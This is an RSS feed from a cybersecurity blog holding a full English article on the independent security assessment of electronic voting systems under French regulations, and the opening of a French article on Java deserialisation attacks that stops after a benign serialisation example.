<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bilal Benseddiq, Auteur</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/author/bilal-benseddiq/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/author/bilal-benseddiq/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Wed, 17 May 2023 15:31:04 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Bilal Benseddiq, Auteur</title>
	<link>https://www.riskinsight-wavestone.com/author/bilal-benseddiq/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Independent expertise of electronic voting systems</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/05/independent-expertise-of-electronic-voting-systems/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/05/independent-expertise-of-electronic-voting-systems/#respond</comments>
		
		<dc:creator><![CDATA[Bilal Benseddiq]]></dc:creator>
		<pubDate>Wed, 17 May 2023 15:07:10 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Digital Compliance]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Digital compliance]]></category>
		<category><![CDATA[E-vote]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20474</guid>

					<description><![CDATA[<p>Introduction Definition of electronic voting Electronic voting is a dematerialised, self-counting voting system in which voters use electronic devices to record their votes. The system can be used remotely via internet voting, or in person where voters can visit polling...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/05/independent-expertise-of-electronic-voting-systems/">Independent expertise of electronic voting systems</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">Introduction</h1>
<h2 style="text-align: justify;">Definition of electronic voting</h2>
<p style="text-align: justify;">Electronic voting is a <strong>dematerialised</strong>, <strong>self-counting </strong>voting system in which voters use electronic devices to record their votes.</p>
<p style="text-align: justify;">The system can be <strong>used remotely</strong> via <strong>internet voting</strong>, or in person where voters can visit polling stations equipped with voting machines.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">History of electronic voting in France</h2>
<h3 style="text-align: justify;">The first traces date back to&#8230;1969!</h3>
<p style="text-align: justify;">The French Minister of the Interior, Raymond Marcellin, had the use of 100% <strong>mechanical </strong>voting machines authorised<a href="#_edn1" name="_ednref1">[i]</a>. Due to major breakdown and the failure to reduce fraud, these machines fell into disuse, but the amendment made to the electoral code remained.</p>
<h3 style="text-align: justify;">Use in professional elections</h3>
<p style="text-align: justify;">In the <strong>2018 </strong>French public sector professional elections,<strong> 5.15 million public employees </strong>were asked to vote using an electronic voting solution.</p>
<p style="text-align: justify;">In <strong>2022</strong>, <strong>5.6 million public employees </strong>in the three branches of the civil service are called upon to vote for their union representatives in the representative bodies. The ballot took place from the 1<sup>st</sup> to the 8<sup>th</sup> of December 2022. This was precedent in several respects, including the generalisation of electronic voting in the civil service and the establishment of new bodies for social dialogue<a href="#_edn2" name="_ednref2">[ii]</a>.</p>
<h3 style="text-align: justify;">Experiments underway for voting by French citizens abroad</h3>
<p style="text-align: justify;">For the 2017 elections, the Ministry of Foreign Affairs and International Development had developed an <strong>online voting </strong>platform <strong>for French citizens living abroad to participate in the legislative elections</strong>.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Types of voting in French organisations</h2>
<p style="text-align: justify;">Since 2018 in the French <strong>private sector</strong>, it became compulsory for companies with more than 11 employees to hold elections for members of the staff delegation within the <strong>social and economic committees </strong>(<strong>CSE</strong>), by secret ballot<a href="#_edn3" name="_ednref3"></a></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">In all cases, the employer should inform the workforce <strong>every four years </strong>(<em>unless the industry agreement provides for a shorter period of </em>between two and four years) by posting notices of the elections.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">How electronic voting works in the context of professional elections</h2>
<p> </p>
<p><img fetchpriority="high" decoding="async" class="aligncenter wp-image-20476 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1.png" alt="" width="945" height="543" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1-332x191.png 332w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1-68x39.png 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN1-768x441.png 768w" sizes="(max-width: 945px) 100vw, 945px" /></p>
<p> </p>
<p style="text-align: justify;">Prior to the vote, the employer must <strong>call the professional elections</strong> specifying the date, place, and voting method (paper, electronic, or hybrid).</p>
<p style="text-align: justify;">The organisation of elections is generally based on one or more <strong>centralised polling stations </strong>and regional polling stations, depending on the volume of votes and voters. The polling station members are <strong>trained</strong>, the solution is <strong>assessed, </strong>and <strong>test elections </strong>are held.</p>
<p style="text-align: justify;">Once the solution has been <strong>validated </strong>it goes into <strong>production</strong>, and<strong> the election can begin</strong>:</p>
<ol style="text-align: justify;">
<li>The <strong>electoral lists </strong>are drawn up and unions or employees can check and report any errors or omissions.</li>
<li>Candidates can <strong>campaign </strong>to the voters and present their program.</li>
<li>On the day of the <strong>opening of the vote</strong>, the solution is <strong>sealed </strong>using private encryption keys, where 1/3 is held by the corporate administration and 2/3 by the trade unions.</li>
<li>Voters then<strong> vote according to the </strong>designated <strong>timetable</strong>, the polling stations monitor the counting of votes and assist the voters, the supervision unit monitors the process and manages any incidents, and the provider company is mobilised if necessary.</li>
<li><strong>On the closing </strong>day of <strong>the elections</strong>, the integrity of the ballot box (urn) is checked, and the unsealing is carried out by the administration and the trade unions.</li>
<li>The <strong>counting of </strong>the votes is then carried out under the control of the centralising polling stations.</li>
<li>The <strong>results of </strong>the elections should be communicated to the voters, publicly displayed, and sent to the labour inspector (<em>“Inspecteur du travail”</em>).</li>
<li>The ballot box is <strong>sealed </strong>again, and the entire solution <em>(including copies of source and executable programs, voting materials, vote count, results and backup files and files that keep track of interventions on the system</em>) is<strong> archived under seal</strong> for a minimum of 2 years.</li>
<li>In the event of a <strong>dispute</strong>, an appeal may be lodged with the labour inspector or the district court.</li>
</ol>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">What are the opportunities and risks in electronic voting?</h1>
<h2 style="text-align: justify;">Opportunities</h2>
<h3 style="text-align: justify;">Ease of implementation of the ballot</h3>
<p style="text-align: justify;">Electronic voting is <strong>generally more efficient to implement than paper voting</strong>, requiring less manual work for preparation (printing of propaganda posters, logistics, etc.), counting and reporting of results. This leads to a reduction in costs and an improvement in the efficiency of the electoral process.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Reducing the carbon footprint</h3>
<p style="text-align: justify;">Electronic voting greatly reduces the dependence on paper printing for electoral lists, propaganda documents, and especially ballot papers. It also drastically reduces travel depending on the geographical organisation of the company.</p>
<p style="text-align: justify;">According to a study by Kercia<a href="#_edn4" name="_ednref4">[iv]</a>, the carbon footprint of a postal vote is more than twice that of an electronic vote.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Maximising participation and elected bodies with a broader electoral base</h3>
<p style="text-align: justify;">Electronic voting allows for greater <strong>voter participation.</strong></p>
<p style="text-align: justify;">A study conducted in Switzerland in 2011 showed that turnout <strong>increased by 2.2%</strong><a href="#_edn5" name="_ednref5">[v]</a> in cantons that implemented e-voting compared to those that did not use this method. Similarly, a study in Estonia in 2014 found that the use of e-voting <strong>increased voter turnout by 3-4%</strong><a href="#_edn6" name="_ednref6">[vi]</a><strong>.</strong></p>
<p style="text-align: justify;">Voters can vote remotely <strong>without having to physically travel </strong>to the polling station. This can increase voter turnout, especially in the context of the widespread use of remote work post-COVID-19.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Agreements with a stronger democratic basis</h3>
<p style="text-align: justify;">E-voting can help to <strong>strengthen social dialogue </strong>due to wider outreach and greater accessibility for voter participation. The results of elections are more convincing by increasing the participation in the polls.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Risks</h2>
<h3 style="text-align: justify;">Alteration of results</h3>
<p style="text-align: justify;">Electronic voting systems can be vulnerable to attacks such as the <strong>usurpation </strong>of voter <strong>accounts</strong>, <strong>multiple votes by the same voter in the same election</strong>, or the <strong>compromise of ballots</strong>.</p>
<h3 style="text-align: justify;">Protection of personal data</h3>
<p style="text-align: justify;">The implementation of e-voting platforms should consider the <strong>risk of excessive collection of sensitive personal data </strong>such as voters&#8217; political opinions.</p>
<p style="text-align: justify;">Voters&#8217; personal information may also be stored on vulnerable servers, exposing this data to the <strong>risk of compromised voting secrecy or data leakage</strong>.</p>
<h3 style="text-align: justify;">Transparency of voting operations</h3>
<p style="text-align: justify;">It can be difficult for each stakeholder to understand how votes are recorded and how the results are tabulated, leading to <strong>mistrust of the solution and the election</strong> <strong>results.</strong></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">These risks must be considered and mitigated in order to drastically reduce the probability of occurrence and/or their impact on the smooth running of the elections.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">How to comply with the regulations?</h1>
<h2 style="text-align: justify;">CNIL deliberation 2019-053 of 25 April 2019</h2>
<p> </p>
<p><img decoding="async" class="aligncenter wp-image-20478 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN2.png" alt="" width="601" height="357" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN2.png 601w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN2-322x191.png 322w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN2-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN2-120x70.png 120w" sizes="(max-width: 601px) 100vw, 601px" /></p>
<p> </p>
<p style="text-align: justify;">The <strong>CNIL</strong> (<em>National Commission for Information Technology and Civil Liberties</em>)<strong> deliberation n°2019-053 of 25 April 2019</strong><a href="#_edn7" name="_ednref7">[vii]</a> simplifies and clarifies the texts of 2010 and 2018. The process is as follows:</p>
<ol style="text-align: justify;">
<li>Choice of <strong>security level </strong>(1, 2 or 3) according to a questionnaire provided by the CNIL<a href="#_edn8" name="_ednref8">[viii]</a>.</li>
<li>Implementation of a <strong>test voting platform </strong>(iso-production) prior to the elections, with support from the independent expert in the event of questions relating to the conformity of the technical and organisational choices to be made.</li>
<li><strong>Independent assessment of the </strong>solution to evaluate the compliance of the solution with the security objectives: depending on the defined risk level, the security objectives are more or less strict. These are cumulative, e.g., if a risk level of 3 is defined, the objectives of levels 1, 2 and 3 must be met.</li>
</ol>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Decree 2011-595 (public sector)</h2>
<p style="text-align: justify;">A regulation has been added to the CNIL deliberation 2019-053 for the <strong>public service </strong>and certain parastatal sector companies<a href="#_edn9" name="_ednref9">[ix]</a> :</p>
<p> </p>
<p><img decoding="async" class="aligncenter wp-image-20480 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN3.png" alt="" width="601" height="415" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN3.png 601w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN3-277x191.png 277w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN3-56x39.png 56w" sizes="(max-width: 601px) 100vw, 601px" /></p>
<p> </p>
<p style="text-align: justify;">In addition to the CNIL security objectives, <strong>18 articles </strong>composing this decree must be respected and checked by the independent expert. The control points include for example:</p>
<ul style="text-align: justify;">
<li><em>“At least 2/3 of the keys are allocated to the list delegates and at least 1 key is allocated to the president of the polling station or his representative.”</em></li>
<li><em>“The sealing is carried out by the combination of at least 2 encryption keys, including the one of the president of the polling station or his representative and the one of at least one list delegate” </em></li>
<li><em>“A process ensures that the voters’ list is only modified by the addition of a ballot electronical paper, which is issued by an authenticated voter casting the vote.”</em></li>
<li><em>&#8220;Each voter shall be provided at least fifteen days before the first day of the election with a means of authentication enabling him or her to participate in the election &#8211; the confidentiality of this means of authentication shall be guaranteed”</em></li>
<li><em>&#8220;A process ensures that the electronic ballot box (urn) is only modified by the vote of an authenticated voter”</em></li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Independent expertise</h2>
<h3 style="text-align: justify;">Obligation</h3>
<p style="text-align: center;"><em>&#8220;<strong>Any data controller </strong>implementing an electronic voting system, in particular via the Internet, <strong>must have its solution assessed by an independent expert</strong>, whether the voting solution is managed internally or provided by a service provider.&#8221; &#8211; CNIL Deliberation 2019-053</em></p>
<h3 style="text-align: justify;">Modalities</h3>
<h4 style="text-align: justify;">When?</h4>
<p style="text-align: justify;">This expertise must be carried out:</p>
<ul style="text-align: justify;">
<li><strong>Prior to the implementation of </strong>the electronic voting system</li>
<li>In the event of a design <strong>change to </strong>the existing electronic voting system</li>
<li>For <strong>every new election </strong>using the electronic voting system, even if it has already been audited</li>
</ul>
<h4 style="text-align: justify;">By whom?</h4>
<p style="text-align: justify;">By an independent expert, who must:</p>
<ul style="text-align: justify;">
<li>Be an IT (Information Technology) <strong>specialist in security</strong></li>
<li><strong>Not having an interest in the company </strong>that created the voting solution or in the organisation responsible for processing</li>
<li>If possible,<strong> have experience </strong>in analysing voting systems, having assessed the voting systems of at least two different providers.</li>
</ul>
<h4 style="text-align: justify;">Why?</h4>
<p style="text-align: justify;">To ensure <strong>compliance with the fundamental principles </strong>governing electoral operations:</p>
<ul style="text-align: justify;">
<li>The secrecy of the ballot</li>
<li>The personal and free nature of voting</li>
<li>The sincerity of the electoral operations</li>
<li>Effective monitoring of the vote by the electoral commission</li>
<li>A posteriori control by the election judge</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Typical working approach</h3>
<p style="text-align: justify;">Our vision of independent expertise is illustrated by the main steps described in this chapter.</p>
<h4 style="text-align: justify;">Initialisation and framing</h4>
<p style="text-align: justify;">To initiate the mission, a kick-off meeting is organised with the project contacts.</p>
<p style="text-align: justify;">The purpose of this meeting is to introduce the <strong>teams</strong>, define the <strong>milestones</strong> and project <strong>schedule</strong>, specify the service <strong>monitoring </strong>procedures, the <strong>communication </strong>procedures between the parties (encryption of exchanges, etc.), collect the existing <strong>documentation</strong>, and set up the <strong>committee procedure</strong>.</p>
<h4 style="text-align: justify;">Audit of the solution and expert support</h4>
<p style="text-align: justify;">This central phase of the assessment is based on a theoretical and practical analysis:</p>
<ul style="text-align: justify;">
<li><strong>Control of project documentation and </strong>specifications
<ul>
<li>From the &#8220;paper&#8221; phase onwards, it is necessary to ensure that all the points of compliance are present and in line with the regulations in force: <em>technologies used and updates of the latter, hosting of the solution, physical security, architecture and high availability, partitioning between ballots, sealing and encryption techniques, means of compiling, correlating, communicating and deleting electoral lists, voter authentication scheme, etc.</em></li>
</ul>
</li>
<li><strong>Support in expertise and safety advice</strong>
<ul>
<li>This involves providing ad hoc expertise on subjects relating to the legal and regulatory framework during the design and implementation phase of the solution and processes (g., <em>choice of authentication factors, process for storing sealing keys, etc</em><em>.</em>).</li>
</ul>
</li>
<li><strong>Technical audit of the solution</strong>
<ul>
<li><strong>Architecture review </strong>to check the compliance of physical and logical partitioning, security of flows, hosting, high availability, etc.</li>
<li><strong>Audit of the organisation and processes </strong>such as sealing, authentication communication, archiving, etc.</li>
<li><strong>Technical configuration review of the key servers of </strong>the solution</li>
<li>Audit of the <strong>source code </strong>and <strong>encryption mechanisms</strong> of the solution based, among other security frameworks, on the RGS<a href="#_edn10" name="_ednref10">[x]</a> (<em>Référentiel Général de Sécurité</em>)</li>
<li><strong>Black-box and grey-box penetration testing </strong>of voting portals and the supervision back-office</li>
</ul>
</li>
</ul>
<h4 style="text-align: justify;">Observation of test elections</h4>
<p style="text-align: justify;">This phase aims to simulate an election to check the correct application of the protocol and the processes verified beforehand on field:</p>
<ul style="text-align: justify;">
<li>Validation of the compliance<strong> monitoring </strong>process
<ul>
<li>In this step, the aim is to verify that the technique used for the verification of the non-alteration of the system (fingerprinting) works.</li>
</ul>
</li>
<li><strong>Checks on the solution on field</strong>
<ul>
<li>It is a matter of ensuring, in vivo, that all the points mentioned in terms of security and regulations are in place, for example through the analysis of application and system logs, or &#8220;random&#8221; checks: presence of temporary files containing sensitive information, capacity to collect data, etc.</li>
</ul>
</li>
<li><strong>Expertise support during the voting process and assistance in adapting procedures in case of unforeseen events</strong></li>
</ul>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Accompaniment during the actual election</h4>
<p style="text-align: justify;">The same checks as during the test elections are carried out, and specifically:</p>
<ul style="text-align: justify;">
<li>System <strong>integrity check</strong>: Fingerprinting of essential system components (libraries, code, encryption libraries, etc.) and comparison of the fingerprints with those obtained beforehand.</li>
<li>Compliance with the <strong>regulatory framework</strong>: sealing process, access, and use of encryption/decryption keys, counting process, etc.</li>
</ul>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">What are the pitfalls and how can they be avoided?</h1>
<h2 style="text-align: justify;">Limited access to systems</h2>
<p style="text-align: justify;">The <strong>high expertise market </strong>context of voting solutions may make vendors <strong>reluctant to share confidential information </strong>about their technology, such as <strong>source code</strong>, in the interests of <strong>industrial secrecy, which </strong>may limit the ability of experts to assess system compliance.</p>
<p style="text-align: justify;">In order to avoid this pitfall, it is essential to implement <strong>regular communication </strong>and <strong>full transparency </strong>of the actions of the independent expert. <strong>Guarantees </strong>must be provided for the protection of the confidentiality of the data collected and processed via <strong>processes and an IS certified by SMSI or II 901</strong><a href="#_edn11" name="_ednref11">[xi]</a> (French norm for “<em>Restricted Distribution”</em> classified information).</p>
<p style="text-align: justify;">Furthermore, we recommend that independent experts are <strong>flexible in their organisation, for </strong>example by agreeing to consult the source code exclusively on the provider&#8217;s premises.</p>
<p style="text-align: justify;">Finally, it should be recalled that CNIL deliberation 2019-053 requires the service provider to make available &#8220;the source code corresponding to the version of the software actually implemented &#8221; to the independent expert.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Distrust of trade unions and voters</h2>
<p style="text-align: justify;">Trade unions and voters can legitimately question <strong>the independence of </strong>the expert and the <strong>guarantees provided by the expertise</strong>, leading to <strong>mistrust of </strong>the electronic voting solution.</p>
<p style="text-align: justify;">These fears are well-founded and must be <strong>addressed </strong>through <strong>transparency and the </strong>provision of <strong>factual </strong>and <strong>verifiable evidence </strong>for each observation reported during the assessment.</p>
<p style="text-align: justify;">Furthermore, no findings should be ambiguous, conditional, or omitted.</p>
<p style="text-align: justify;">Finally, it is essential to present the <strong>limits </strong>of the expertise exercise, and the logical impossibility of providing a 100% guarantee that the system cannot be attacked.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Interpretation of the regulations</h2>
<p style="text-align: justify;">The available <strong>regulations </strong>are not always <strong>clear </strong>and explicit, including</p>
<ul style="text-align: justify;">
<li><strong>Non-standard architectures </strong>are not subject to specific rules
<ul>
<li><em>Ex: An architecture based on an IS straddling the SaaS (Software as a Service) solution publisher and the employer&#8217;s IS</em></li>
</ul>
</li>
<li>Some <strong>terms </strong>may be <strong>ambiguous</strong>
<ul>
<li><em>g.: &#8220;A voter&#8217;s vote must be an atomic operation&#8221; &#8211; atomicity being a functional rather than a technical notion, e.g., Internet communication protocols do not allow the entire ballot to be contained in a single network packet</em></li>
</ul>
</li>
</ul>
<p style="text-align: justify;">The application of <strong>security standards and frameworks </strong>(such as RGS), direct consultation with the <strong>CNIL</strong>, and the implementation of a <strong>solution that responds to the risk </strong>in substance are all ways of remedying this pitfall.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Conclusion and recommendations</h1>
<p style="text-align: justify;">To make <strong>the most of the independent expertise </strong>and to <strong>factualise </strong>it, we recommend <strong>combining the regulatory compliance approach with a risk-oriented approach</strong>, based on the technical audit (penetration tests, configuration reviews, etc.) in a logic of practical and <strong>pragmatic securing </strong>of the solution <strong>within the regulatory framework</strong>.</p>
<p style="text-align: justify;">This exercise can only be carried out effectively and efficiently if <strong>all </strong>project <strong>stakeholders, </strong>including the publisher and trade unions, are <strong>involved </strong>and <strong>made aware of the project </strong>as early as the design phase.</p>
<p style="text-align: justify;">Finally, it is necessary to bear in mind that e-voting is a constantly <strong>evolving technology</strong>. It is likely that new methods and technologies will emerge in the future, leading to an <strong>evolution of the regulations</strong>. Therefore, <strong>technical and regulatory monitoring </strong>is and will remain an essential subject for election organisers, publishers, and independent expertise companies alike.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><em>For any information or quotation </em><em>request</em><em> on the subject of the independent expertise of electronic voting systems, we invite you to contact us via the following form: </em><a href="https://www.wavestone.com/fr/contact/">https://www.wavestone.com/fr/contact<em>/</em></a></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>We wish you every success in organising your professional elections!</strong></p>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;"><a href="#_ednref1" name="_edn1">[i]</a><a href="https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000000511691/"> https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000000511691/ </a></p>
<p style="text-align: justify;"><a href="#_ednref2" name="_edn2">[ii]</a><a href="https://www.economie.gouv.fr/elections-professionnelles-2022-quelques-minutes-pour-quatre-annees">h ttps://www.economie.gouv.fr/elections-professionnelles-2022-quelques-minutes-pour-quatre-annees </a></p>
<p style="text-align: justify;"><a href="#_ednref3" name="_edn3">[iii]</a><a href="https://fr.wikipedia.org/wiki/Comit%C3%A9_social_et_%C3%A9conomique"> https://fr.wikipedia.org/wiki/Comit%C3%A9_social_et_%C3%A9conomique </a></p>
<p style="text-align: justify;"><a href="#_ednref4" name="_edn4">[iv]</a><a href="https://www.kercia.com/vote-electronique">h ttps://www.kercia.com/vote-electronique </a></p>
<p style="text-align: justify;"><a href="#_ednref5" name="_edn5">[v]</a><a href="https://www.admin.ch/gov/fr/accueil/documentation/communiques.msg-id-37639.html">h ttps://www.admin.ch/gov/fr/accueil/documentation/communiques.msg-id-37639.html </a></p>
<p style="text-align: justify;"><a href="#_ednref6" name="_edn6">[vi]</a><a href="https://www.smartmatic.com/fr/actualites/article/lestonie-atteint-des-taux-records-de-vote-par-internet-grace-a-une-nouvelle-technologie/">h ttps://www.smartmatic.com/fr/actualites/article/lestonie-atteint-des-taux-records-de-vote-par-internet-grace-a-une-nouvelle-technologie/ </a></p>
<p style="text-align: justify;"><a href="#_ednref7" name="_edn7">[vii]</a><a href="https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038661239"> https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038661239 </a></p>
<p style="text-align: justify;"><a href="#_ednref8" name="_edn8">[viii]</a><a href="https://www.cnil.fr/fr/securite-des-systemes-de-vote-par-internet-la-cnil-actualise-sa-recommandation-de-2010"> https://www.cnil.fr/fr/securite-des-systemes-de-vote-par-internet-la-cnil-actualise-sa-recommandation-de-2010 </a></p>
<p style="text-align: justify;"><a href="#_ednref9" name="_edn9">[ix]</a><a href="https://www.legifrance.gouv.fr/loda/id/JORFTEXT000024079803/"> https://www.legifrance.gouv.fr/loda/id/JORFTEXT000024079803/ </a></p>
<p style="text-align: justify;"><a href="#_ednref10" name="_edn10">[x]</a><a href="https://www.ssi.gouv.fr/entreprise/reglementation/confiance-numerique/le-referentiel-general-de-securite-rgs/"> https://www.ssi.gouv.fr/entreprise/reglementation/confiance-numerique/le-referentiel-general-de-securite-rgs/ </a></p>
<p style="text-align: justify;"><a href="#_ednref11" name="_edn11">[xi]</a><a href="https://www.ssi.gouv.fr/guide/recommandations-pour-les-architectures-des-systemes-dinformation-sensibles-ou-diffusion-restreinte/"> https://www.ssi.gouv.fr/guide/recommandations-pour-les-architectures-des-systemes-dinformation-sensibles-ou-diffusion-restreinte/</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/05/independent-expertise-of-electronic-voting-systems/">Independent expertise of electronic voting systems</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/05/independent-expertise-of-electronic-voting-systems/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Techniques et outils d’attaque sur les moteurs de désérialisation (Java)</title>
		<link>https://www.riskinsight-wavestone.com/en/2019/07/techniques-outils-deserialisation-java/</link>
		
		<dc:creator><![CDATA[Bilal Benseddiq]]></dc:creator>
		<pubDate>Wed, 10 Jul 2019 09:00:29 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[outil]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[sérialisation]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15728</guid>

					<description><![CDATA[<p>Introduction La sérialisation consiste à transformer un objet applicatif en un format de données pouvant être restauré ultérieurement. Ce procédé est utilisé pour sauvegarder des objets ou les envoyer dans le cadre de communications. &#160; Exemple de sérialisation d&#8217;une variable...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/07/techniques-outils-deserialisation-java/">Techniques et outils d’attaque sur les moteurs de désérialisation (Java)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<figure id="post-15730 media-15730" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15730 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1.png" alt="" width="640" height="155" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1-437x106.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1-71x17.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div style="text-align: justify;">
<h1>Introduction</h1>
</div>
<div style="text-align: justify;">La sérialisation consiste à transformer un objet applicatif en un format de données pouvant être restauré ultérieurement. Ce procédé est utilisé pour sauvegarder des objets ou les envoyer dans le cadre de communications.</div>
<div style="text-align: justify;"></div>
<figure id="post-15732 media-15732" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15732 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2.png" alt="" width="640" height="314" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2-389x191.png 389w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2-71x35.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
<div style="text-align: justify;">Exemple de sérialisation d&#8217;une variable de type <i>String</i> en Java:</div>
<div></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc11">String</span> <span class="sc11">name</span> <span class="sc10">=</span> <span class="sc6">&#8220;Wavestone&#8221;</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">FileOutputStream</span> <span class="sc11">file</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">FileOutputStream</span><span class="sc10">(</span><span class="sc6">&#8220;file.bin&#8221;</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ObjectOutputStream</span> <span class="sc11">out</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectOutputStream</span><span class="sc10">(</span><span class="sc11">file</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">out</span><span class="sc10">.</span><span class="sc11">writeObject</span><span class="sc10">(</span><span class="sc11">name</span><span class="sc10">);</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le fichier <b>file.bin</b> contenant l’objet name sérialisé a cette forme :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">AC ED 00 05 74 00 09 <span class="w-grepped">57 61 76 65 73 74 6f 6e 65</span> &#8230;.t..<span class="w-grepped">Wavestone</span></span></div>
<div style="text-align: justify;"></div>
<ul>
<li>La chaîne commence par “<b>AC ED</b>” – il s’agit du code hexadécimal identifiant la donnée sérialisée, toutes les données sérialisées commencent par cette valeur.</li>
<li>Le protocole de sérialisation version “<b>00 05</b>”.</li>
<li>Le type de variable String est identifié par le code “<b>74</b>”.</li>
<li>Puis la taille de la variable “<b>00 09</b>”.</li>
<li>Et finalement la variable en elle-même.</li>
</ul>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La désérialisation est l&#8217;inverse de ce processus, prenant des données structurées à partir d&#8217;un format et les reconstruisant en un objet. Le format de données le plus répandu pour la sérialisation des données est JSON (dans le passé, le format XML était majoritaire).</div>
